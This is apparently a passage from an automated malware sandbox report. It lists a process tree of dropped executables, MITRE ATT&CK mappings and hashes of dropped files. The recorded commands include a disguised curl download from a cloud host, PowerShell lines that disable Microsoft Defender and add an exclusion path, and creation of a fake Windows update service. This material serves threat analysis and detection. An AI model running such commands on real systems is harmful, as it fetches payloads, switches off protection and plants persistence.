    3⤵
    PID:8400
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe"
      4⤵
      PID:8524
- - C:\Windows\a\app.exe
    app.exe
    3⤵
    PID:8572
- - C:\Windows\a\Client.exe
    Client.exe
    3⤵
    PID:8796
- - C:\Windows\a\file_77b5757ae75eb20b.exe
    file_77b5757ae75eb20b.exe
    3⤵
    PID:8816
- - C:\Windows\a\Ebu.exe
    Ebu.exe
    3⤵
    PID:8908
- - C:\Windows\a\xx.exe
    xx.exe
    3⤵
    PID:8916
  - - C:\Users\Admin\AppData\Local\Temp\is-F3YQV730DJ.tmp\xx.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-F3YQV730DJ.tmp\xx.tmp" /SL5="$2036C,4057916,1011712,C:\Windows\a\xx.exe"
      4⤵
      PID:8692
- - C:\Windows\a\php.exe
    php.exe
    3⤵
    PID:8976
- - C:\Windows\a\discrete_69.7868.8_INSTALL.exe
    discrete_69.7868.8_INSTALL.exe
    3⤵
    PID:8992
  - - C:\Users\Admin\AppData\Local\Temp\is-5SM1S0RU14.tmp\discrete_69.7868.8_INSTALL.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-5SM1S0RU14.tmp\discrete_69.7868.8_INSTALL.tmp" /SL5="$2060C,2775941,905728,C:\Windows\a\discrete_69.7868.8_INSTALL.exe"
      4⤵
      PID:9764
- - C:\Windows\a\acr-g1upd-639159296668701809.exe
    acr-g1upd-639159296668701809.exe
    3⤵
    PID:9012
- - C:\Windows\a\hilton.exe
    hilton.exe
    3⤵
    PID:7512
  - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe Trails.a3x
      4⤵
      PID:8204
- - C:\Windows\a\3.exe
    3.exe
    3⤵
    PID:8516
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe"
      4⤵
      PID:8404
- - C:\Windows\a\2.exe
    2.exe
    3⤵
    PID:9188
  - - C:\Users\Admin\AppData\Local\Temp\is-1P2R93ALT4.tmp\2.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-1P2R93ALT4.tmp\2.tmp" /SL5="$204B4,4057916,1011712,C:\Windows\a\2.exe"
      4⤵
      PID:7084
- - C:\Windows\a\file_73ed34a7752ecb3a.exe
    file_73ed34a7752ecb3a.exe
    3⤵
    PID:9676
  - - C:\Users\Admin\AppData\Local\Temp\is-QSCJR.tmp\file_73ed34a7752ecb3a.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-QSCJR.tmp\file_73ed34a7752ecb3a.tmp" /SL5="$501F8,11357099,121344,C:\Windows\a\file_73ed34a7752ecb3a.exe"
      4⤵
      PID:10092
    - - C:\Users\Admin\AppData\Local\Temp\is-J41F2.tmp\Da_L.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-J41F2.tmp\Da_L.exe"
        5⤵
        
        PID:9892
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe spx.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:10176
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\Sys41111\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys41111\tmp355.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip
      4⤵
      Executes a command shell one-liner
      PID:9324
    - - C:\Users\Public\Documents\Sys41111\msvcrt.dll
        
        C:\Users\Public\Documents\Sys41111\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys41111\tmp355.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip
        5⤵
        
        PID:10308
- - C:\Windows\a\install.exe
    install.exe
    3⤵
    PID:9816
- - C:\Windows\a\finale.exe
    finale.exe
    3⤵
    PID:2604
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      PID:7404
- - C:\Windows\a\file_c0d2eb6a8b73120b.exe
    file_c0d2eb6a8b73120b.exe
    3⤵
    PID:10140
- - C:\Windows\a\file_b584670f7ec2f317.exe
    file_b584670f7ec2f317.exe
    3⤵
    PID:3480
- - C:\Windows\a\file_a6357da6a05d7266.exe
    file_a6357da6a05d7266.exe
    3⤵
    PID:9368
- - C:\Windows\a\svc.exe
    svc.exe
    3⤵
    PID:9408
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" create WinUpdateHelper binPath= "\"C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe\"" start= auto DisplayName= "Windows Update Helper Service"
      4⤵
      Launches sc.exe
      PID:2968
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" description WinUpdateHelper "Manages Windows Update helper components"
      4⤵
      Launches sc.exe
      PID:9872
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\UpdateService' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5968
- - C:\Windows\a\loader.exe
    loader.exe
    3⤵
    PID:1620
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c color 0D
      4⤵
      Executes a command shell one-liner
      PID:9920
- - C:\Windows\a\setup.exe
    setup.exe
    3⤵
    PID:2776
- - C:\Windows\a\21.exe
    21.exe
    3⤵
    PID:5464
  - - C:\Users\Admin\AppData\Local\Temp\is-7SBC9MCMCU.tmp\21.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-7SBC9MCMCU.tmp\21.tmp" /SL5="$10648,2626172,870400,C:\Windows\a\21.exe"
      4⤵
      PID:6636
- - C:\Windows\a\CFXBypass.exe
    CFXBypass.exe
    3⤵
    PID:3364
- - C:\Windows\a\vnc.exe
    vnc.exe
    3⤵
    PID:6176
- - C:\Windows\a\Isass.exe
    Isass.exe
    3⤵
    PID:3220
  - - C:\Windows\a\Isass.exe
      Isass.exe
      4⤵
      PID:8196
- - C:\Windows\a\kikikmoralibrary.exe
    kikikmoralibrary.exe
    3⤵
    PID:8292
- - C:\Windows\a\4J8576A0E8V3.exe
    4J8576A0E8V3.exe
    3⤵
    PID:3044
  - - C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe"
      4⤵
      PID:7816
- - C:\Windows\a\4J8576A0E8V3.exe
    4J8576A0E8V3.exe
    3⤵
    PID:6120
- - C:\Windows\a\net_launcher.exe
    net_launcher.exe
    3⤵
    PID:2656
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c WindowsLogonService.bat
    3⤵
    - Executes a command shell one-liner
    PID:10868
- - C:\Windows\a\123123.exe
    123123.exe
    3⤵
    PID:12036
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe encrypted.hta
    3⤵
    PID:9572

C:\Users\Admin\AppData\Local\Temp\4C4.tmp.exe
C:\Users\Admin\AppData\Local\Temp\4C4.tmp.exe
1⤵
PID:7672
- C:\Users\Admin\AppData\Local\Temp\svchost.exe
  "C:\Users\Admin\AppData\Local\Temp\\svchost.exe"
  2⤵
  PID:4860
- C:\Users\Admin\AppData\Local\Temp\taskhost.exe
  "C:\Users\Admin\AppData\Local\Temp\\taskhost.exe"
  2⤵
  PID:11044

C:\Users\Admin\AppData\Roaming\msedgeupdateilk.exe
C:\Users\Admin\AppData\Roaming\msedgeupdateilk.exe
1⤵
PID:3416

C:\Windows\SYSWOW64\explorer.exe
"C:\Windows\SYSWOW64\explorer.exe"
1⤵
PID:1752

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2788 -ip 2788
1⤵
PID:2652

C:\Windows\a\dcVylmIq.exe
C:\Windows\a\dcVylmIq.exe
1⤵
PID:8124

C:\Windows\a\3.exe
C:\Windows\a\3.exe
1⤵
PID:4292

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:8960
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 71FE1B755F94F7FA82277C63A867F4FE C
  2⤵
  PID:8460
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIA2D9.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240839765 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    PID:4356

C:\ProgramData\deafdaaefccc.exe
"C:\ProgramData\deafdaaefccc.exe"
1⤵
PID:8324

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4308

C:\Users\Admin\AppData\Local\Temp\WinSysKdrv.exe
"C:\Users\Admin\AppData\Local\Temp\WinSysKdrv.exe"
1⤵
PID:9888

C:\Windows\a\4.exe
"C:\Windows\a\4.exe"
1⤵
PID:3228

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:9256

C:\Users\Admin\AppData\Local\Temp\4C4.tmp.exe
C:\Users\Admin\AppData\Local\Temp\4C4.tmp.exe
1⤵
PID:9932

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\wlrmdr.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\wlrmdr.exe
1⤵
PID:2844

C:\Users\Admin\AppData\Local\Temp\EE69.tmp.exe
C:\Users\Admin\AppData\Local\Temp\EE69.tmp.exe
1⤵
PID:9404

C:\Windows\system32\cmd.exe
"cmd /c start "" /D "C:\ProgramData\startup_input" "C:\ProgramData\startup_input\3.exe""
1⤵
PID:7268

C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe
"C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe" --system --windows-service --service=update-internal
1⤵
PID:7764
- C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe
  "C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=144.0.7547.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" --initial-client-data=0x2ac,0x2b0,0x2b4,0x2a8,0x2b8,0xc6e5fc,0xc6e608,0xc6e614
  2⤵
  PID:2988

C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe
C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe
1⤵
PID:9896

C:\Windows\a\JavaChecker.exe
C:\Windows\a\JavaChecker.exe
1⤵
PID:1968

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe"
1⤵
PID:200

C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe
"C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=144.0.7547.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" --initial-client-data=0x2ac,0x2b0,0x2b4,0x2a8,0x2b8,0xc6e5fc,0xc6e608,0xc6e614
1⤵
PID:5400

C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe
"C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe"
1⤵
PID:10340

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\1vufqok0.pbd /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\1vufqok0.pbd\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\1vufqok0.pbd --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffa4f16c728,0x7ffa4f16c734,0x7ffa4f16c740
1⤵
PID:10408

C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe
"C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\updater.exe" --system --windows-service --service=update
1⤵
PID:5368

C:\Users\Admin\AppData\Local\Temp\8egf40ye.exe
C:\Users\Admin\AppData\Local\Temp\8egf40ye.exe
1⤵
PID:10316

C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe
"C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe"
1⤵
PID:12780

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

prefs.json

Path C:\Program Files (x86)\Google\GoogleUpdater\prefs.json
Size 420B
SHA256 41252ff467477dd298dd1b2305b5753b4a979f499f7f086156fa4787ad93e1da
MD5 d57c709433d0f28e7de3c017167e8356
SHA1 d61d59456cc75bf812e4478693bd4b089a87e92e
SHA512 acffc2dddf5f894e07a55f9bcd19a967199e3e7c1f06a023884f28c2a698b3c9efb75cbb877e717244a44357b92dd34a98172262ca6272462c53830563c1bfd0
TLSH
T1EFE02B1A9922E1F3FC494E2F41591BFC87E55D594138019928CD585D00A6D9FF80F81B
MD5 SHA1 SHA512 TLSH

Submit Download

prefs.json

Path C:\Program Files (x86)\Google\GoogleUpdater\prefs.json
Size 421B
SHA256 9c1ed48b68d10a8c39189d53fb9635b9660b36ef76bbd38be7b60ac752b2ecae
MD5 05443b755cac36f6eae91e41b3e8a11f
SHA1 d144a7ee159cebfc5dff11a5fcd046df8f52bc6c
SHA512 2c42dcf2504c7cbb2c8287289a88d7464f0cc29a36c9cdd9c429266c775148068720775364232e44b779ebf54b5f6c6e086fd116e2d1781227cf6696a6827b03
TLSH
T1C7E0AB0E9922E1E3FC494E2F81590BFC87D51C594138019928CD585E0096D9FF80F81A
MD5 SHA1 SHA512 TLSH

Submit Download

2.exe

Path C:\ProgramData\startup_input\2.exe
Size 13.1MB
SHA256 42d3f82fdc329abbfea289482b70b0a93adee02963306d6680cc047140dd794a
MD5 988c557adf7da2bb023305f07c5cceac
SHA1 8e32ccb260cb531aa8de8c9f585bc765841d566a
SHA512 a73835bd2ef2131a22da20d0121681a65e5dcdaa39afdb564041e61e5e4af50d0fad69a1f7fffa177b7d85249eb2338d9465383ce1c00d0443318215422796e1
SSDEEP 98304:voJJqPg6ziVAQhCydt9JuQcpF4JorePYPAMo7Bmpbn5RjQC73I1jw6NeHAFMSj:6eg6zoAQXdVyyPgfo70pbngCLI1c6w
TLSH
T155D60233A189602AE06D563745B79285853B6E687C218D1DA7F03D5CFB3F3603927B8B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4.exe

Path C:\ProgramData\startup_input\4.exe
Size 90KB
SHA256 4f63222a28376097bb07ac0ddf36281ae94c294d47d00ec7d4b30ea1d31f1479
MD5 14feadbe482a589579ad60556926f679
SHA1 9d39859cfa064f67d2e24f3937e35869686733b3
SHA512 f911c232705d60d8f1adcf5def6dc8e37c06e7edd98a185e193381bc643244cd8c6538417089598034887bea226f990e85d0c438a7e5559895ba9a9545b06d64
SSDEEP 1536:/Dq9NyTUi+O2IOiJ3hP51h/SeZVbsy3O4qlCe8IMQCsNIfWbs6TAAT7HhpLV:/Dq99jwx51xhZVbP3O4q0e8JQCsNI+Ic
TLSH
T14093CF9227A805E0C66BD679D9A58F17E5F278490A24872F03B0DA962F73363773D703
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a.exe

Path C:\ProgramData\startup_input\a.exe
Size 111KB
SHA256 02a04456bb5725fffb1afc5a47231a6362f04802a076c6230ed2bcde95c583d4
MD5 25ae6fd1317fa572ecea835fd402f497
SHA1 0a7b39dc6795c646512e9b83cdd34ee76222de68
SHA512 f28ecb2bc9c113f7475e0978b4d968a85107fa61f3c1c5371ad850943c1782b2567098c774b528233a14e042dfaf6267388e9a46677674837aa49eb9dd9b4353
SSDEEP 3072:yxflmza9HNkcxEPcXjfI5u/e/YbBlq1CIUt8zYSkA:ole6EPcXTqYbLq1jz
TLSH
T18BB34A5B73E530F9E1BB8234C4510A05E7B3B8724760ABEF47A4426A2F636D09D3DB61
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

acr-g1upd-639159296668701809.exe

Path C:\ProgramData\startup_input\acr-g1upd-639159296668701809.exe
Size 801KB
SHA256 ed7b43af39b111ebcfd376a6cd5690bfe6523f053c5e96c136fb8df887f8f21c
MD5 b0aa0fd9f9f0d6277da32d62bd825c73
SHA1 c92afcb56f203bdd26f556fdfc0f8b1fe336ec04
SHA512 57bbd48a2a47d6a2c34f2813678526ea7627b8eb086da30db3d9bbeabed6d92076cd29199c7397bc290b696bb726db2e15b989b2b2f6f7c6b7c450a428c545fc
SSDEEP 12288:rpgEriWONvAvmm0dzFK9klDMnl8wtWxrma+VmQ4wcpy:OEriWWvAvmm0dzFSsDMnl8wtWpmZkQ
TLSH
T1CA05E7C8D98F59F5DF124C3FA22B6A7FAB9431182D2CCA81C6F12E45C5E2D51C2158EE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

edge_driver.js_yae9ujh9.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.1.107.0\edge_driver.js_yae9ujh9.tmp
Size 1.0MB
SHA256 f5cb14d961ec2b829c967a75bec8d4002ced4b6690b6e9db6ff7bbe9b9f1285a
MD5 abba8c018dc15a70cbcdddf38e48a989
SHA1 134864d264a02114b97d8efa750c6bd802514f72
SHA512 98174094f9a16a43e52b4df36bb053ae4901be4e20141796c98787657a3233d6388ec7cedfee1e46c9ca0afe040dad566fb8f82b349ec0336f0328202a7d9a87
SSDEEP 24576:cs4cmRAbsM8XP9raSBHEoZvni+bvG+kVKs54QcQgF6LRLdSy/q+v9wWftT93n8Az:cs4cmRAgM8XP9raSBHEoZvni+bvG+kVp
TLSH
T1EC353B80E1E2253466D748B960B7D2C4B5DC14587399F1E8FA6C68CADB0FD4323F663A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\3br1mg1g.dqm\Crashpad\settings.dat
Size 280B
SHA256 fc92eee32a0e8725063158398c1575fd82418cf0e7e0b08c12acc4bb92656121
MD5 dba5b88abe78f60124de116bcdcd231a
SHA1 9211d5e8e99e0a1db76f6854f5812b1bf7436ccf
SHA512 c6f688f2e1af09246be688c3ef681fdbc4a63b683e54ce05a66d1b68c2f08184325d2a45ad2c82a64598459ac1fe8836bb982548611cab1bdfdf8c19110bc90a
MD5 SHA1 SHA512

Submit Download

8egf40ye.exe

Path C:\Users\Admin\AppData\Local\Temp\8egf40ye.exe
Size 1.1MB
SHA256 4acd7adff5c2193e7b0b9a6f8235534d67772ff3d7fa59b1215de011d7455ad9
MD5 5397d935f89da936fe739139a99c7b47
SHA1 27adcb8fc4c6685c35819569895a8afac75f1b1d
SHA512 32fcb9db51cb8ff24f47897535dea5ca671e79ed207e9f3083e83034ad523e8a628831f9ebc0b61aa5f3025b3a395e887c24f257918ef2a86913f1a7c6ec158f
SSDEEP 12288:RPhnbZIqgm1W6GTt/nUWxwsLkzEc3lktyamaghtXhDmZA83bTe6rbBpcYm:DnbZVs6G3NLkzEGlu6zWrTeobBpc
TLSH
T184359E2AFED25111DD7ED3B3BD30FE189646200583522E7A279F4EC46813C96ADA335E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Users\Admin\AppData\Local\Temp\Deployment\J2AQ9WV7.DRW\G7T875OM.RC8\ScreenConnect.Core.dll
Size 538KB
SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
MD5 1db8b9fa0bdcbfaab807f715c288c19a
SHA1 fde73710ce063bbf1e377c02a1a8615cf4da1c08
SHA512 fc132764026c682e8fac1a97171731d54880c8d95566c486c731c880e750a29875ac208fb4b4dc2897dfc49beb24f77af016d846c78be75df159d3542600eb73
SSDEEP 6144:SfoUrkyyvsbvpSLmwJUoqnoezGMZf1y99tg03Xdedu1h+xE5vce/6OdCatxq/trJ:SfpkywYszKoIzGafzece/6yx/Oek
TLSH
T144C47D9233B48B2FCABF5B7BE42454980770E901F209EB5B1AD6D4BC5F633854E412E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

EE69.tmp.exe

Path C:\Users\Admin\AppData\Local\Temp\EE69.tmp.exe
Size 265KB
SHA256 a09b8f3482137394a421f6a96eaa3664f468ddfbcdf01651dae8fc0898e9a13e
MD5 b31e9f2479f734538e6a378656f05ceb
SHA1 1a716ea4ead1f0bb4110689494fa6fef7dc3cfad
SHA512 32ea8aae9f44b49511ab02abfce662fd7eebb0c5d9ceb6f2ec652279f3185d1403e189d98f6502ec0780372b704c1a6401d6cc6f9a6ea490fc5534b75006250f
SSDEEP 6144:FJHTrrdy4gptRY/6l6Zaoxf7rxyBNdOfUHJF:FJf5c2SlI5xfMBNA
TLSH
T1F3447C4663E524F9E0B78238C9A54B46E771F8621330ABDF07A0865E1F233D1AD39B71
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

GBUWXP.reg

Path C:\Users\Admin\AppData\Local\Temp\GBUWXP.reg
Size 720B
SHA256 d8fa294b9e90b910d882ae0aae7890c4c41df6e99ff0a62e6f3b14e95b7464dd
MD5 9d50f6afa7e24103f7baaaf4ace05874
SHA1 49eec6e3f17a8d41ff924f2b2e9dfe0413a0567d
SHA512 d0a843a7fc0570d2412bcbb65cdd117771ca97b6a7db714f29c00831b1351a59e34af33ca16f9d3b6eb8d01e3fc23a1d2f0ccca487f778bfbe1a1fb9502b7c74
TLSH
T16301195006FA3609F2FB2F519FF5A5439F377A986922C49D21905B5E4AB0F54C83233B
MD5 SHA1 SHA512 TLSH

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906\Default\Cache\Cache_Data\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906\Default\DawnWebGPUCache\data_1
Size 264KB
SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
MD5 d0d388f3865d0523e451d6ba0be34cc4
SHA1 8571c6a52aacc2747c048e3419e5657b74612995
SHA512 376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17
SSDEEP 3:MsEllllkEthXllkl2:/M/xT02
MD5 SHA1 SHA512 SSDEEP

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906\Default\Extension Rules\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906\Default\GPUCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906\Default\GPUCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906\Default\Preferences
Size 7KB
SHA256 cb83603dc21e4d260e5c51c67e930d32bcfa167f0f1795d31444c602f8cdeb75
MD5 00bf150809cfa19f1985bc537b35536a
SHA1 20db1e6380fb867fe87d0c48402be31c0c3fcddc
SHA512 74ff451294ad3890dd6575d77db42e493c7a2855c8e8fe5b228086bb79124f9064f212850a608fa6e9fe1a6c6ed6b346724ae58e5643c4b39d5511d630cc0a1a
SSDEEP 192:zRTIqov7iAPRp2nXsb+WN4uriyIsnAUgR:zRTIq0xXsXw4BR
TLSH
T1FEF1932DAD24A53F9CC7E31EEA353B42E2F9102175A42C48D7FC992C28E76CD2227517
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences~RFe5add42.TMP

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906\Default\Preferences~RFe5add42.TMP
Size 6KB
SHA256 e11bff72e05c44d54b51167da0de36d1e497a353890a89b2fc1d3966087fb3dc
MD5 6ebc79cd8f92e57a3121d1651c0ccc07
SHA1 f64ee030fda9f45e0baa20a0e7a81661472f1707
SHA512 ba6e44c2859bfc5f03fc4c6bd180ce1d6242d8cb1fc771c8cb110c59938cf591025ec538a5f58fbff3e2da159f653f0c2875cbab51203495ad2a94853ffdcb57
SSDEEP 192:zRI/qov78APRp2nXsb+WN4utiyIsnAUgR:zRI/q07XsXw4/R
TLSH
T1DFE1741DAD24A63F9CC6E71AFA667B42E2F9102135A42C48D7FC892C28E76CD1227517
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906\Default\Site Characteristics Database\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Temp\HeadlessChrome8276240802906\Local State
Size 3KB
SHA256 d3c0b44d7b20d63ad7f8b6d7d824eea3b35d71c8ed8a432ad9c6a738d0d50e37
MD5 500b6a37e63caf8b0ae7d33b84d46e59
SHA1 9729e131626bcc349e2637512cc1c00be9576f70
